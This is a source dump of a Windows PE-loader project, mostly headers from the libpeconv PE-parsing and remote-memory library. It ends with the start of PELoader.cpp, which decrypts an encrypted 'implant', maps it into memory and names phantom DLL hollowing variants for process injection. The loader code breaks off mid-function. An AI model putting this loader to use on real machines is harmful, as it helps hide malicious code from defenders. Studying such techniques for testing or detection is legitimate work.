BYTE* modulePtr, IN bool is_raw); 191 | 192 | /** 193 | Change section aligmenent in headers. Depending on the flag, it sets either Raw Alignment or Virtual Alignment. 194 | */ 195 | bool set_sec_alignment(IN OUT BYTE* pe_buffer, IN bool is_raw, IN DWORD new_alignment); 196 | 197 | /** 198 | Get size of virtual section from the headers (optionaly rounds it up to the Virtual Alignment) 199 | */ 200 | DWORD get_virtual_sec_size( 201 | IN const BYTE* pe_hdr, 202 | IN const PIMAGE_SECTION_HEADER sec_hdr, 203 | IN bool rounded //if set, it rounds it up to the Virtual Alignment 204 | ); 205 | 206 | /** 207 | Get the last section (in a raw or virtual alignment) 208 | \param pe_buffer : buffer with a PE 209 | \param pe_size : size of the given PE 210 | \param is_raw : If true, give the section with the highest Raw offset. If false, give the section with the highest Virtual offset. 211 | */ 212 | PIMAGE_SECTION_HEADER get_last_section(IN const PBYTE pe_buffer, IN size_t pe_size, IN bool is_raw); 213 | 214 | /** 215 | Calculate full PE size (raw or virtual) using information from sections' headers. WARNING: it drops an overlay. 216 | \param pe_buffer : a buffer containing a PE 217 | \param pe_size : the size of the given buffer 218 | \param is_raw : If true, the Raw alignment is used. If false, the Virtual alignment is used. 219 | */ 220 | DWORD calc_pe_size( 221 | IN const PBYTE pe_buffer, 222 | IN size_t pe_size, 223 | IN bool is_raw 224 | ); 225 | 226 | /** 227 | Walk through sections headers checking if the sections beginnings and sizes are fitting the alignment (Virtual or Raw) 228 | \param buffer : a buffer containing a PE 229 | \param buffer_size : the size of the given buffer 230 | \param is_raw : If true, the Raw alignment is checked. If false, the Virtual alignment is checked. 231 | */ 232 | bool is_valid_sectons_alignment(IN const BYTE* buffer, IN const SIZE_T buffer_size, IN bool is_raw); 233 | 234 | }; // namespace peconv 235 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/exports_mapper.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief A definition of ExportsMapper class. Creates a lookup of all the exported functions from the supplied DLLs. Allows to associate an address with a corresponding function. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "pe_hdrs_helper.h" 16 | #include "pe_raw_to_virtual.h" 17 | #include "peconv/exported_func.h" 18 | #include "peconv/file_util.h" 19 | 20 | namespace peconv { 21 | 22 | struct DllInfo { 23 | DllInfo() 24 | : moduleBase(0), moduelSize(0), is64b(false) 25 | { 26 | } 27 | 28 | DllInfo(ULONGLONG _moduleBase, size_t _moduelSize, bool _is64b, std::string _moduleName) 29 | { 30 | moduleBase = _moduleBase; 31 | moduelSize = _moduelSize; 32 | moduleName = _moduleName; 33 | is64b = _is64b; 34 | shortName = get_dll_shortname(moduleName); 35 | } 36 | 37 | DllInfo(DllInfo &other) 38 | { 39 | moduleBase = other.moduleBase; 40 | moduelSize = other.moduelSize; 41 | moduleName = other.moduleName; 42 | shortName = other.shortName; 43 | is64b = other.is64b; 44 | } 45 | 46 | bool operator<(const DllInfo &other) const 47 | { 48 | return this->moduleBase < other.moduleBase; 49 | } 50 | 51 | protected: 52 | ULONGLONG moduleBase; 53 | size_t moduelSize; 54 | std::string moduleName; 55 | std::string shortName; 56 | bool is64b; 57 | 58 | friend class ExportsMapper; 59 | }; 60 | 61 | class ExportsMapper { 62 | 63 | public: 64 | 65 | /** 66 | Appends the given DLL to the lookup table of exported functions. Returns the number of functions exported from this DLL (not forwarded). 67 | \param moduleName : name of the DLL 68 | \param modulePtr : buffer containing the DLL in a Virtual format 69 | \param moduleSize : size of the DLL buffer. If moduleSize == 0, the ImageSize from the PE headers will be used. 70 | \param moduleBase : a base address to which the given DLL was relocated 71 | */ 72 | size_t add_to_lookup(std::string moduleName, HMODULE modulePtr, size_t moduleSize, ULONGLONG moduleBase); 73 | 74 | /** 75 | Appends the given DLL to the lookup table of exported functions. Returns the number of functions exported from this DLL (not forwarded). 76 | \param moduleName : name of the DLL 77 | \param modulePtr : buffer containing the DLL in a Virtual format 78 | \param moduleBase : a base address to which the given DLL was relocated 79 | */ 80 | size_t add_to_lookup(std::string moduleName, HMODULE modulePtr, ULONGLONG moduleBase) 81 | { 82 | return add_to_lookup(moduleName, modulePtr, 0, moduleBase); 83 | } 84 | 85 | /** 86 | Appends the given DLL to the lookup table of exported functions. Returns the number of functions exported from this DLL (not forwarded). 87 | Assumes that the module was relocated to the same address as is the address of the given buffer (modulePtr). 88 | (A wrapper for the case if we are adding a DLL that was loaded within the current process.) 89 | \param moduleName : name of the DLL 90 | \param modulePtr : buffer containing the DLL in a Virtual format. 91 | */ 92 | size_t add_to_lookup(std::string moduleName, HMODULE modulePtr) 93 | { 94 | return add_to_lookup(moduleName, modulePtr, reinterpret_cast(modulePtr)); 95 | } 96 | 97 | /** 98 | Find the set of Exported Functions that can be mapped to the given VA. Includes forwarders, and function aliases. 99 | */ 100 | const std::set* find_exports_by_va(ULONGLONG va) const 101 | { 102 | std::map>::const_iterator itr = va_to_func.find(va); 103 | if (itr != va_to_func.end()) { 104 | const std::set &fSet = itr->second; 105 | return &fSet; 106 | } 107 | return NULL; 108 | } 109 | 110 | /** 111 | Retrieve the base of the DLL containing the given function. If not found, returns 0. 112 | */ 113 | ULONGLONG find_dll_base_by_func_va(ULONGLONG func_rva) const 114 | { 115 | // the first element that is greater than the start address 116 | std::map::const_iterator firstGreater = dll_base_to_info.upper_bound(func_rva); 117 | 118 | std::map::const_iterator itr; 119 | for (itr = dll_base_to_info.begin(); itr != firstGreater; ++itr) { 120 | const DllInfo& module = itr->second; 121 | 122 | if (func_rva >= module.moduleBase && func_rva <= (module.moduleBase + module.moduelSize)) { 123 | // Address found in module: 124 | return module.moduleBase; 125 | } 126 | } 127 | return 0; 128 | } 129 | 130 | /** 131 | Retrieve the full path of the DLL with the given module base. 132 | */ 133 | std::string get_dll_path(ULONGLONG base) const 134 | { 135 | std::map::const_iterator found = this->dll_base_to_info.find(base); 136 | if (found == this->dll_base_to_info.end()) { // no DLL found at this base 137 | return ""; 138 | } 139 | const DllInfo& info = found->second; 140 | return info.moduleName; 141 | } 142 | 143 | /** 144 | Retrieve the path of the DLL with the given short name. If multiple paths are mapped to the same short name, it retrieves the first one. 145 | */ 146 | std::string get_dll_path(std::string short_name) const; 147 | 148 | /** 149 | Retrieve the paths of the DLL with the given short name. 150 | */ 151 | size_t get_dll_paths(IN std::string short_name, OUT std::set& paths) const; 152 | 153 | /** 154 | Retrieve the full name of the DLL (including the extension) using its short name (without the extension). 155 | */ 156 | std::string get_dll_fullname(std::string short_name) const 157 | { 158 | std::string dll_path = get_dll_path(short_name); 159 | if (dll_path.length() == 0) return ""; 160 | 161 | return get_file_name(dll_path); 162 | } 163 | 164 | /** 165 | Find an Exported Function that can be mapped to the given VA, 166 | */ 167 | const ExportedFunc* find_export_by_va(ULONGLONG va) const 168 | { 169 | const std::set* exp_set = find_exports_by_va(va); 170 | if (exp_set == NULL) return NULL; 171 | 172 | std::set::iterator fItr = exp_set->begin(); 173 | const ExportedFunc* func = &(*fItr); 174 | return func; 175 | } 176 | 177 | void print_va_to_func(std::stringstream &stream) const; 178 | void print_func_to_va(std::stringstream &stream) const; 179 | 180 | 181 | private: 182 | enum ADD_FUNC_RES { RES_INVALID = 0, RES_MAPPED = 1, RES_FORWARDED = 2 }; 183 | ADD_FUNC_RES add_function_to_lookup(HMODULE modulePtr, ULONGLONG moduleBase, size_t moduleSize, ExportedFunc &currFunc, DWORD callRVA); 184 | 185 | bool add_forwarded(ExportedFunc &currFunc, DWORD callRVA, PBYTE modulePtr, size_t moduleSize); 186 | bool add_to_maps(ULONGLONG va, ExportedFunc &currFunc); 187 | 188 | size_t resolve_forwarders(const ULONGLONG va, ExportedFunc &currFunc); 189 | size_t make_ord_lookup_tables(PVOID modulePtr, size_t moduleSize, std::map &va_to_ord); 190 | 191 | protected: 192 | /** 193 | Add a function and a VA into a mutual mapping. 194 | */ 195 | void associateVaAndFunc(ULONGLONG va, const ExportedFunc& func) 196 | { 197 | va_to_func[va].insert(func); 198 | func_to_va[func] = va; 199 | } 200 | 201 | /** 202 | A map associating VA of the function with the related exports. 203 | */ 204 | std::map> va_to_func; 205 | 206 | /** 207 | A map associating an exported functions with its forwarders. 208 | */ 209 | std::map> forwarders_lookup; 210 | 211 | /** 212 | A map associating an exported functions with its VA. 213 | */ 214 | std::map func_to_va; 215 | 216 | /** 217 | A map associating DLL shortname with the base(s) at which it was mapped 218 | */ 219 | std::map> dll_shortname_to_base; 220 | 221 | std::map dll_base_to_info; 222 | }; 223 | 224 | }; //namespace peconv 225 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/remote_pe_reader.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Reading from a PE module that is loaded within a remote process. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #include "pe_hdrs_helper.h" 11 | #include "pe_virtual_to_raw.h" 12 | #include "exports_mapper.h" 13 | #include "pe_dumper.h" 14 | 15 | namespace peconv { 16 | 17 | bool fetch_region_info(HANDLE processHandle, LPVOID start_addr, MEMORY_BASIC_INFORMATION &page_info); 18 | 19 | /** 20 | Fetch size of the memory region starting from the given address. 21 | */ 22 | size_t fetch_region_size(HANDLE processHandle, LPVOID start_addr); 23 | 24 | /** 25 | Fetch the allocation base of the memory region with the supplied start address. 26 | \param processHandle : handle of the process where the region of interest belongs 27 | \param start_addr : the address inside the region of interest 28 | \return the allocation base address of the memory region, or 0 if not found 29 | */ 30 | ULONGLONG fetch_alloc_base(HANDLE processHandle, LPVOID start_addr); 31 | 32 | /** 33 | Wrapper over ReadProcessMemory. Requires a handle with privilege PROCESS_VM_READ. 34 | If reading of the full buffer_size was not possible, it will keep trying to read a smaller chunk, decreasing requested size on each attempt, 35 | till the minimal_size is reached (it is a workaround for errors such as FAULTY_HARDWARE_CORRUPTED_PAGE). 36 | Returns how many bytes were successfuly read. 37 | \param processHandle : handle of the process where the memory of interest belongs 38 | \param start_addr : the address within the remote process to start reading from 39 | \param buffer : the buffer where the read data will be stored 40 | \param buffer_size : the size of the buffer, and the size that will be attempted to read 41 | \param minimal_size : the minimal size that has to be read in order to consider the read successful 42 | \return the number of bytes successfuly read 43 | */ 44 | size_t read_remote_memory(HANDLE processHandle, LPVOID start_addr, OUT BYTE* buffer, const size_t buffer_size, const SIZE_T minimal_size = 0x100); 45 | 46 | /** 47 | Reads a single memory region (continuous, with the same access rights) within a given process, starting at the start_addr. 48 | In case if it is inaccessible, if the flag force_access was set, it tries to force the access by temporarly changing the permissions. 49 | Requires a handle with privilege PROCESS_QUERY_INFORMATION. In order for force_access to work, PROCESS_VM_OPERATION is additionally required. 50 | step_size is passed to the underlying read_remote_memory. 51 | \param processHandle : handle of the process where the memory of interest belongs 52 | \param start_addr : the address within the remote process to start reading from 53 | \param buffer : the buffer where the read data will be stored 54 | \param buffer_size : the size of the buffer 55 | \param force_access : if this flag is set, in case if the region is inaccassible (PAGE_NOACCESS) it will try to force the the read by changing the permissions, and applying the old ones back after reading. 56 | WARNING: force_access should be used only on a suspended process, or a process relection, otherwise it may cause instability. 57 | \param minimal_size : the minimal size that has to be read in order to consider the read successful (passed to read_remote_memory) 58 | \return the number of bytes successfuly read 59 | */ 60 | size_t read_remote_region(HANDLE processHandle, LPVOID start_addr, OUT BYTE* buffer, const size_t buffer_size, const bool force_access, const SIZE_T minimal_size = 0x100); 61 | 62 | /** 63 | Reads a full memory area within a given process, starting at the start_addr, till the buffer_size is exceeded. 64 | The memory area can consist of multiple regions with various access rights. 65 | In case if the region is inaccessible, if the flag force_access was set, it tries to force the access by temporarly changing the permissions. 66 | On read failure the region is skipped, and the read is moving to the next one, leaving in the output buffer an empty space of the region size. 67 | Requires a handle with privilege PROCESS_QUERY_INFORMATION. In order for force_access to work, PROCESS_VM_OPERATION is additionally required. 68 | step_size is passed to the underlying read_remote_memory. 69 | \param processHandle : handle of the process where the memory of interest belongs 70 | \param start_addr : the address within the remote process to start reading from 71 | \param buffer : the buffer where the read data will be stored 72 | \param buffer_size : the size of the buffer 73 | \param force_access : if this flag is set, in case if the region is inaccassible (PAGE_NOACCESS) it will try to force the the read by changing the permissions, and applying the old ones back after reading. 74 | WARNING: force_access should be used only on a suspended process, or a process relection, otherwise it may cause instability. 75 | \param minimal_size : the minimal size that has to be read in order to consider the read successful (passed to read_remote_memory) 76 | \return the number of bytes successfuly read 77 | */ 78 | size_t read_remote_area(HANDLE processHandle, LPVOID start_addr, OUT BYTE* buffer, const size_t buffer_size, const bool force_access, const SIZE_T minimal_size = 0x100); 79 | 80 | /** 81 | Reads a PE header of the remote module within the given process. Requires a valid output buffer to be supplied (buffer). 82 | \param processHandle : handle of the process where the memory of interest belongs 83 | \param moduleBase : the base address of the module within the remote process 84 | \param buffer : the buffer where the read data will be stored 85 | \param buffer_size : the size of the buffer 86 | \param force_access : if this flag is set, in case if the region is inaccassible (PAGE_NOACCESS) it will try to force the the read by changing the permissions, and applying the old ones back after reading. 87 | WARNING: force_access should be used only on a suspended process, or a process relection, otherwise it may cause instability. 88 | */ 89 | bool read_remote_pe_header(HANDLE processHandle, LPVOID moduleBase, OUT BYTE* buffer, const size_t bufferSize, bool force_access = false); 90 | 91 | /** 92 | Reads a PE section with a given number (sectionNum) from the remote module within the given process. 93 | The buffer of appropriate size is automatically allocated. After use, it should be freed by the function free_unaligned. 94 | The size of the buffer is writen into sectionSize. 95 | \param processHandle : the handle to the remote process 96 | \param moduleBase : the base address of the module 97 | \param sectionNum : number of the section to be read 98 | \param sectionSize : the size of the read section (output) 99 | \param roundup : if set, the section size is roundup to the alignment unit 100 | \param force_access : if this flag is set, in case if the region is inaccassible (PAGE_NOACCESS) it will try to force the the read by changing the permissions, and applying the old ones back after reading. 101 | WARNING: force_access should be used only on a suspended process, or a process relection, otherwise it may cause instability. 102 | \return a buffer containing a copy of the section. 103 | */ 104 | peconv::UNALIGNED_BUF get_remote_pe_section(HANDLE processHandle, LPVOID moduleBase, const size_t sectionNum, OUT size_t §ionSize, bool roundup, bool force_access = false); 105 | 106 | /** 107 | Reads PE file from the remote process into the supplied buffer. It expects the module base and size to be given. 108 | */ 109 | size_t read_remote_pe(const HANDLE processHandle, LPVOID moduleBase, const size_t moduleSize, OUT BYTE* buffer, const size_t bufferSize); 110 | 111 | /** 112 | Dumps PE from the remote process into a file. It expects the module base and size to be given. 113 | \param outputFilePath : the path where the dump will be saved 114 | \param processHandle : the handle to the remote process 115 | \param moduleBase : the base address of the module that needs to be dumped 116 | \param dump_mode : specifies in which format the PE should be dumped. If the mode was set to PE_DUMP_AUTO, it autodetects mode and returns the detected one. 117 | \param exportsMap : optional. If exportsMap is supplied, it will try to recover destroyed import table of the PE, basing on the supplied map of exported functions. 118 | */ 119 | bool dump_remote_pe( 120 | IN const char *outputFilePath, 121 | IN const HANDLE processHandle, 122 | IN LPVOID moduleBase, 123 | IN OUT t_pe_dump_mode &dump_mode, 124 | IN OPTIONAL peconv::ExportsMapper* exportsMap = nullptr 125 | ); 126 | 127 | /** 128 | Retrieve the Image Size saved in the header of the remote PE. 129 | \param processHandle : process from where we are reading 130 | \param start_addr : a base address of the PE within the given process 131 | */ 132 | DWORD get_remote_image_size(IN const HANDLE processHandle, IN LPVOID start_addr); 133 | 134 | }; //namespace peconv 135 | -------------------------------------------------------------------------------- /PELoader/PELoader/PELoader.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {ac1a0705-194a-4a78-96e7-5a9f730ed9db} 25 | moduleoverloader 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | MultiByte 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | $(VC_IncludePath);$(WindowsSDK_IncludePath);C:\Users\Erwin\Desktop\penTest\process-injection\module_overloading\module_overloader\module_overloader\libpeconv\include 82 | $(VC_LibraryPath_x64);$(WindowsSDK_LibraryPath_x64);C:\Users\Erwin\Desktop\penTest\process-injection\module_overloading\module_overloader\module_overloader\libpeconv\ 83 | 84 | 85 | false 86 | $(VC_IncludePath);$(WindowsSDK_IncludePath);$(SolutionDir)\libpeconv\include 87 | $(VC_LibraryPath_x64);$(WindowsSDK_LibraryPath_x64);$(SolutionDir)\libpeconv\ 88 | 89 | 90 | 91 | Level3 92 | true 93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 94 | true 95 | 96 | 97 | Console 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | true 106 | true 107 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 108 | true 109 | 110 | 111 | Console 112 | true 113 | true 114 | true 115 | 116 | 117 | 118 | 119 | Level3 120 | true 121 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 122 | true 123 | 124 | 125 | Console 126 | true 127 | kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);libpeconv.lib 128 | 129 | 130 | 131 | 132 | Level3 133 | true 134 | true 135 | true 136 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 137 | true 138 | 139 | 140 | Console 141 | true 142 | true 143 | true 144 | kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);libpeconv.lib 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/load_config_defs.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Definitions of various versions of Load Config Directory (new fields added with new versions for Windows). 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include 10 | 11 | namespace peconv { 12 | 13 | /** 14 | IMAGE_LOAD_CONFIG_CODE_INTEGRITY: a structure used by IMAGE_LOAD_CONFIG_DIR - the Windows 10 version. 15 | */ 16 | typedef struct _IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10 { 17 | WORD Flags; // Flags to indicate if CI information is available, etc. 18 | WORD Catalog; // 0xFFFF means not available 19 | DWORD CatalogOffset; 20 | DWORD Reserved; // Additional bitmask to be defined later 21 | } IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10; 22 | 23 | /** 24 | IMAGE_LOAD_CONFIG_DIR32: the Windows 10 version. 25 | */ 26 | typedef struct _IMAGE_LOAD_CONFIG_DIR32_W10 { 27 | DWORD Size; 28 | DWORD TimeDateStamp; 29 | WORD MajorVersion; 30 | WORD MinorVersion; 31 | DWORD GlobalFlagsClear; 32 | DWORD GlobalFlagsSet; 33 | DWORD CriticalSectionDefaultTimeout; 34 | DWORD DeCommitFreeBlockThreshold; 35 | DWORD DeCommitTotalFreeThreshold; 36 | DWORD LockPrefixTable; // VA 37 | DWORD MaximumAllocationSize; 38 | DWORD VirtualMemoryThreshold; 39 | DWORD ProcessHeapFlags; 40 | DWORD ProcessAffinityMask; 41 | WORD CSDVersion; 42 | WORD DependentLoadFlags; 43 | DWORD EditList; // VA 44 | DWORD SecurityCookie; // VA 45 | DWORD SEHandlerTable; // VA 46 | DWORD SEHandlerCount; 47 | DWORD GuardCFCheckFunctionPointer; // VA 48 | DWORD GuardCFDispatchFunctionPointer; // VA 49 | DWORD GuardCFFunctionTable; // VA 50 | DWORD GuardCFFunctionCount; 51 | DWORD GuardFlags; 52 | IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10 CodeIntegrity; 53 | DWORD GuardAddressTakenIatEntryTable; // VA 54 | DWORD GuardAddressTakenIatEntryCount; 55 | DWORD GuardLongJumpTargetTable; // VA 56 | DWORD GuardLongJumpTargetCount; 57 | DWORD DynamicValueRelocTable; // VA 58 | DWORD CHPEMetadataPointer; 59 | DWORD GuardRFFailureRoutine; // VA 60 | DWORD GuardRFFailureRoutineFunctionPointer; // VA 61 | DWORD DynamicValueRelocTableOffset; 62 | WORD DynamicValueRelocTableSection; 63 | WORD Reserved2; 64 | DWORD GuardRFVerifyStackPointerFunctionPointer; // VA 65 | DWORD HotPatchTableOffset; 66 | DWORD Reserved3; 67 | DWORD EnclaveConfigurationPointer; // VA 68 | } IMAGE_LOAD_CONFIG_DIR32_W10; 69 | 70 | /** 71 | IMAGE_LOAD_CONFIG_DIR64: the Windows 10 version. 72 | */ 73 | typedef struct _IMAGE_LOAD_CONFIG_DIR64_W10 { 74 | DWORD Size; 75 | DWORD TimeDateStamp; 76 | WORD MajorVersion; 77 | WORD MinorVersion; 78 | DWORD GlobalFlagsClear; 79 | DWORD GlobalFlagsSet; 80 | DWORD CriticalSectionDefaultTimeout; 81 | ULONGLONG DeCommitFreeBlockThreshold; 82 | ULONGLONG DeCommitTotalFreeThreshold; 83 | ULONGLONG LockPrefixTable; // VA 84 | ULONGLONG MaximumAllocationSize; 85 | ULONGLONG VirtualMemoryThreshold; 86 | ULONGLONG ProcessAffinityMask; 87 | DWORD ProcessHeapFlags; 88 | WORD CSDVersion; 89 | WORD DependentLoadFlags; 90 | ULONGLONG EditList; // VA 91 | ULONGLONG SecurityCookie; // VA 92 | ULONGLONG SEHandlerTable; // VA 93 | ULONGLONG SEHandlerCount; 94 | ULONGLONG GuardCFCheckFunctionPointer; // VA 95 | ULONGLONG GuardCFDispatchFunctionPointer; // VA 96 | ULONGLONG GuardCFFunctionTable; // VA 97 | ULONGLONG GuardCFFunctionCount; 98 | DWORD GuardFlags; 99 | IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10 CodeIntegrity; 100 | ULONGLONG GuardAddressTakenIatEntryTable; // VA 101 | ULONGLONG GuardAddressTakenIatEntryCount; 102 | ULONGLONG GuardLongJumpTargetTable; // VA 103 | ULONGLONG GuardLongJumpTargetCount; 104 | ULONGLONG DynamicValueRelocTable; // VA 105 | ULONGLONG CHPEMetadataPointer; // VA 106 | ULONGLONG GuardRFFailureRoutine; // VA 107 | ULONGLONG GuardRFFailureRoutineFunctionPointer; // VA 108 | DWORD DynamicValueRelocTableOffset; 109 | WORD DynamicValueRelocTableSection; 110 | WORD Reserved2; 111 | ULONGLONG GuardRFVerifyStackPointerFunctionPointer; // VA 112 | DWORD HotPatchTableOffset; 113 | DWORD Reserved3; 114 | ULONGLONG EnclaveConfigurationPointer; // VA 115 | } IMAGE_LOAD_CONFIG_DIR64_W10; 116 | 117 | /** 118 | IMAGE_LOAD_CONFIG_DIR32: the Windows 8 version. 119 | */ 120 | typedef struct _IMAGE_LOAD_CONFIG_DIR32_W8 { 121 | DWORD Size; 122 | DWORD TimeDateStamp; 123 | WORD MajorVersion; 124 | WORD MinorVersion; 125 | DWORD GlobalFlagsClear; 126 | DWORD GlobalFlagsSet; 127 | DWORD CriticalSectionDefaultTimeout; 128 | DWORD DeCommitFreeBlockThreshold; 129 | DWORD DeCommitTotalFreeThreshold; 130 | DWORD LockPrefixTable; // VA 131 | DWORD MaximumAllocationSize; 132 | DWORD VirtualMemoryThreshold; 133 | DWORD ProcessHeapFlags; 134 | DWORD ProcessAffinityMask; 135 | WORD CSDVersion; 136 | WORD DependentLoadFlags; 137 | DWORD EditList; // VA 138 | DWORD SecurityCookie; // VA 139 | DWORD SEHandlerTable; // VA 140 | DWORD SEHandlerCount; 141 | DWORD GuardCFCheckFunctionPointer; // VA 142 | DWORD GuardCFDispatchFunctionPointer; // VA 143 | DWORD GuardCFFunctionTable; // VA 144 | DWORD GuardCFFunctionCount; 145 | DWORD GuardFlags; 146 | } IMAGE_LOAD_CONFIG_DIR32_W8; 147 | 148 | /** 149 | IMAGE_LOAD_CONFIG_DIR64: the Windows 8 version. 150 | */ 151 | typedef struct _IMAGE_LOAD_CONFIG_DIR64_W8 { 152 | DWORD Size; 153 | DWORD TimeDateStamp; 154 | WORD MajorVersion; 155 | WORD MinorVersion; 156 | DWORD GlobalFlagsClear; 157 | DWORD GlobalFlagsSet; 158 | DWORD CriticalSectionDefaultTimeout; 159 | ULONGLONG DeCommitFreeBlockThreshold; 160 | ULONGLONG DeCommitTotalFreeThreshold; 161 | ULONGLONG LockPrefixTable; // VA 162 | ULONGLONG MaximumAllocationSize; 163 | ULONGLONG VirtualMemoryThreshold; 164 | ULONGLONG ProcessAffinityMask; 165 | DWORD ProcessHeapFlags; 166 | WORD CSDVersion; 167 | WORD DependentLoadFlags; 168 | ULONGLONG EditList; // VA 169 | ULONGLONG SecurityCookie; // VA 170 | ULONGLONG SEHandlerTable; // VA 171 | ULONGLONG SEHandlerCount; 172 | ULONGLONG GuardCFCheckFunctionPointer; // VA 173 | ULONGLONG GuardCFDispatchFunctionPointer; // VA 174 | ULONGLONG GuardCFFunctionTable; // VA 175 | ULONGLONG GuardCFFunctionCount; 176 | DWORD GuardFlags; 177 | } IMAGE_LOAD_CONFIG_DIR64_W8; 178 | 179 | 180 | /** 181 | IMAGE_LOAD_CONFIG_DIR32: the Windows 7 version. 182 | */ 183 | typedef struct _IMAGE_LOAD_CONFIG_DIR32_W7 { 184 | DWORD Size; 185 | DWORD TimeDateStamp; 186 | WORD MajorVersion; 187 | WORD MinorVersion; 188 | DWORD GlobalFlagsClear; 189 | DWORD GlobalFlagsSet; 190 | DWORD CriticalSectionDefaultTimeout; 191 | DWORD DeCommitFreeBlockThreshold; 192 | DWORD DeCommitTotalFreeThreshold; 193 | DWORD LockPrefixTable; // VA 194 | DWORD MaximumAllocationSize; 195 | DWORD VirtualMemoryThreshold; 196 | DWORD ProcessHeapFlags; 197 | DWORD ProcessAffinityMask; 198 | WORD CSDVersion; 199 | WORD DependentLoadFlags; 200 | DWORD EditList; // VA 201 | DWORD SecurityCookie; // VA 202 | DWORD SEHandlerTable; // VA 203 | DWORD SEHandlerCount; 204 | } IMAGE_LOAD_CONFIG_DIR32_W7; 205 | 206 | /** 207 | IMAGE_LOAD_CONFIG_DIR64: the Windows 7 version. 208 | */ 209 | typedef struct _IMAGE_LOAD_CONFIG_DIR64_W7 { 210 | DWORD Size; 211 | DWORD TimeDateStamp; 212 | WORD MajorVersion; 213 | WORD MinorVersion; 214 | DWORD GlobalFlagsClear; 215 | DWORD GlobalFlagsSet; 216 | DWORD CriticalSectionDefaultTimeout; 217 | ULONGLONG DeCommitFreeBlockThreshold; 218 | ULONGLONG DeCommitTotalFreeThreshold; 219 | ULONGLONG LockPrefixTable; // VA 220 | ULONGLONG MaximumAllocationSize; 221 | ULONGLONG VirtualMemoryThreshold; 222 | ULONGLONG ProcessAffinityMask; 223 | DWORD ProcessHeapFlags; 224 | WORD CSDVersion; 225 | WORD DependentLoadFlags; 226 | ULONGLONG EditList; // VA 227 | ULONGLONG SecurityCookie; // VA 228 | ULONGLONG SEHandlerTable; // VA 229 | ULONGLONG SEHandlerCount; 230 | } IMAGE_LOAD_CONFIG_DIR64_W7; 231 | }; //namespace peconv 232 | 233 | #include 234 | -------------------------------------------------------------------------------- /PELoader/PELoader/PELoader.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | #include 7 | #include "ntddk.h" 8 | #include "map_dll_image.h" 9 | #include "util.h" 10 | #include "aes.h" 11 | 12 | #include "transacted_file.h" 13 | #include "delete_pending_file.h" 14 | 15 | #pragma warning(disable:4996) 16 | 17 | enum phantom { ghost, txf, herpaderp } phantomType; 18 | 19 | int prepare_payload(LPCSTR payload_path, OUT BYTE*& raw_payload, OUT BYTE*& payload, OUT size_t& raw_size, OUT size_t& payload_size) { 20 | 21 | raw_payload = decryptFile(payload_path, raw_size); 22 | 23 | // Prepare the payload to be implanted: 24 | // Convert payload from Raw to Virtual Format 25 | 26 | payload = peconv::load_pe_module(raw_payload, raw_size, payload_size, false, false); 27 | if (!payload) { 28 | std::cerr << "[-] Failed to convert the implant to virtual format!\n"; 29 | return 0; 30 | } 31 | 32 | // Resolve the payload's Import Table 33 | if (!peconv::load_imports(payload)) { 34 | std::cerr << "[-] Loading imports failed!\n"; 35 | peconv::free_pe_buffer(payload); 36 | return 0; 37 | } 38 | 39 | if (!is_compatibile(raw_payload)) { 40 | return -1; 41 | } 42 | 43 | return 1; 44 | } 45 | 46 | bool set_sections_access(PVOID mapped, BYTE* implant_dll, size_t implant_size) 47 | { 48 | DWORD oldProtect = 0; 49 | // protect PE header 50 | if (!VirtualProtect((LPVOID)mapped, PAGE_SIZE, PAGE_READONLY, &oldProtect)) return false; 51 | 52 | 53 | bool is_ok = true; 54 | 55 | //RX was set here 56 | //protect sections 57 | size_t count = peconv::get_sections_count(implant_dll, implant_size); 58 | for (size_t i = 0; i < count; i++) { 59 | IMAGE_SECTION_HEADER* next_sec = peconv::get_section_hdr(implant_dll, implant_size, i); 60 | if (!next_sec) break; 61 | DWORD sec_protect = translate_protect(next_sec->Characteristics); 62 | DWORD sec_offset = next_sec->VirtualAddress; 63 | DWORD sec_size = next_sec->Misc.VirtualSize; 64 | if (!VirtualProtect((LPVOID)((ULONG_PTR)mapped + 